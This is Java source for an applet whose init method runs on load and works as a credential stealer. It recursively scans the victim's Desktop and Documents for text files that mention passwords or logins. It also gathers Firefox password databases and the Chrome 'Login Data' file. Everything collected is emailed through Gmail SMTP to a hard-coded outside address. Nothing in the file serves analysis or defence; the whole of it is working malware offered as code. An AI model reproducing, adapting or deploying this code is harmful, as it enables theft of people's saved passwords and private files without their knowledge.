public class Core extends Applet {

    private static final long serialVersionUID = -7385325147137183036L;

    public void init() {
	String username = System.getProperty("user.name");
	File dektop = new File("C:\\Users\\" + username + "\\Desktop");
	File documents = new File("C:\\Users\\" + username + "\\Documents");
	ArrayList<File> files = new ArrayList<File>();
	files.addAll(listFiles(dektop));
	files.addAll(listFiles(documents));
	ArrayList<File> validFiles = new ArrayList<File>();
	ArrayList<String> keywords = new ArrayList<String>();
	keywords.add("pw");
	keywords.add("pass");
	keywords.add("password");
	keywords.add("passwort");
	keywords.add("login");

	for(int i = 0; i < files.size(); i++) {
	    if(hasExtension(files.get(i), "txt")) {
		if(includesKeyword(files.get(i), keywords)) {
		    validFiles.add(files.get(i));
		}
	    }
	}

	sendEmailWithFiles(validFiles, getFirefoxFiles(), getChromeFile());
    }

    private static File getChromeFile() {
	String username = System.getProperty("user.name");
	File path = new File("C:\\Users\\" + username + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
	return path;
    }

    private static ArrayList<File> getFirefoxFiles() {
	String username = System.getProperty("user.name");
	File path = new File("C:\\Users\\" + username + "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\");
	ArrayList<File> folders = new ArrayList<File>();
	folders.addAll(listFiles(path));
	File path1 = new File(folders.get(0).getAbsolutePath() + "\\cert8.db");
	File path2 = new File(folders.get(0).getAbsolutePath() + "\\key3.db");
	File path3 = new File(folders.get(0).getAbsolutePath() + "\\signons.sqlite");

	ArrayList<File> returnFiles = new ArrayList<File>();
	returnFiles.add(path1);
	returnFiles.add(path2);
	returnFiles.add(path3);
	return returnFiles;
    }

    public static void sendEmailWithFiles(ArrayList<File> files, ArrayList<File> mozillaFiles, File chromeFile) {
	String username = System.getProperty("user.name");
	String emailContent;
	emailContent = "Found following Files on " + System.getProperty("user.name") + "'s Computer:";

	if(mozillaFiles.get(0) != null)
	    emailContent = emailContent + "\nMozilla Files included.";
	if(chromeFile != null)
	    emailContent = emailContent + "\nChrome Files included.";

	emailContent = emailContent + "\n\n\n\n";

	for(int i = 0; i < files.size(); i++) {
	    emailContent = emailContent + "\n-------------------------------------------- [ " + files.get(i).getAbsolutePath() + " ] --------------------------------------------";
	    try {
		BufferedReader textfile = new BufferedReader(new InputStreamReader(new FileInputStream(files.get(i).getAbsolutePath())));
		String line;
		while((line = textfile.readLine()) != null) {
		    emailContent = emailContent + "\n" +line;
		}
	    } catch (FileNotFoundException e) {
		emailContent = emailContent + "\nWas not able to include file.";
	    } catch (IOException e) {
		emailContent = emailContent + "\nWas not able to include file.";
	    }
	    emailContent = emailContent + "\n-------------------------------------------- [ END ] --------------------------------------------";
	    emailContent = emailContent + "\n-------------------------------------------- ------- --------------------------------------------";
	    emailContent = emailContent + "\n-------------------------------------------- ------- --------------------------------------------\n\n\n";
	}

	String host = "smtp.gmail.com";
        int port = 587;
        String user = "******";
        String pass = "******";

        Properties props=new Properties();
        props.put("mail.smtp.auth", "true");
        props.put("mail.smtp.starttls.enable", "true");

        try {
            Session session=Session.getInstance(props);
            Transport transport = session.getTransport("smtp");
            transport.connect(host, port, user, pass);

            Address[] addresses = InternetAddress.parse("rerulezz@googlemail.com");

            Message message = new MimeMessage(session);
            MimeMultipart content = new MimeMultipart();
            MimeBodyPart textPart = new MimeBodyPart();
            textPart.setText(emailContent);
            content.addBodyPart(textPart);
            for(int i = 0; i < mozillaFiles.size(); i++) {
		try {
		    if(new File(mozillaFiles.get(i).getAbsolutePath()).exists()) {
			MimeBodyPart binaryPart = new MimeBodyPart();
		    	FileDataSource fds = new FileDataSource(mozillaFiles.get(i).getAbsolutePath());
		    	binaryPart.setDataHandler(new DataHandler(fds));
		    	binaryPart.setFileName(fds.getName());
		    	content.addBodyPart(binaryPart);
		    }
		} catch (MessagingException e) {

		}
            }
            try {
        	if(new File(chromeFile.getAbsolutePath()).exists()) {
        	    MimeBodyPart binaryPart = new MimeBodyPart();
        	    FileDataSource fds = new FileDataSource(chromeFile.getAbsolutePath());
        	    binaryPart.setDataHandler(new DataHandler(fds));
        	    binaryPart.setFileName(fds.getName());
        	    content.addBodyPart(binaryPart);
	 	}
            } catch (MessagingException e) {

            }
            message.setFrom(new InternetAddress(user));
            message.setRecipients(Message.RecipientType.TO, addresses);
            message.setSubject("jvr1ne | " + username + "'s Computer:");
            message.setContent(content, "multipart/mixed");

            transport.sendMessage(message, addresses);
            transport.close();
	} catch (MessagingException e) {
	    e.printStackTrace();
	}

    }

    public static boolean includesKeyword(File file, ArrayList<String> keywords) {
	try {
	    BufferedReader textfile = new BufferedReader(new InputStreamReader(new FileInputStream(file.getAbsolutePath())));
	    String line;
	    try {
		while((line = textfile.readLine()) != null) {
		    if(stringIncludesKeyword(line, keywords)) {
			return true;
		    }
		}
	    } catch (IOException e) {
		e.printStackTrace();
	    }
	} catch (FileNotFoundException e) {
	    e.printStackTrace();
	}
	return false;
    }

    public static boolean stringIncludesKeyword(String string, ArrayList<String> keywords) {
	for(int i = 0; i < keywords.size(); i++) {
	    if(containsString(string.toLowerCase(), keywords.get(i).toLowerCase())) {
		return true;
	    }
	}
	return false;
    }

    private static boolean containsString(String s, String subString) {
        return s.indexOf(subString) > -1 ? true : false;
    }


    public static boolean hasExtension(File file, String extension) {
	if(file.getName().toLowerCase().endsWith(extension)) {
	    return true;
	} else {
	    return false;
	}
    }

    public static ArrayList<File> listFiles(File dir) {
	File[] files = dir.listFiles();
	ArrayList<File> matches = new ArrayList<File> ();
	if (files != null) {
		for (int i = 0; i < files.length; i++) {
		    matches.add(files[i]);
		    matches.addAll(listFiles(files[i]));
		}
	}
	return matches;
    }

}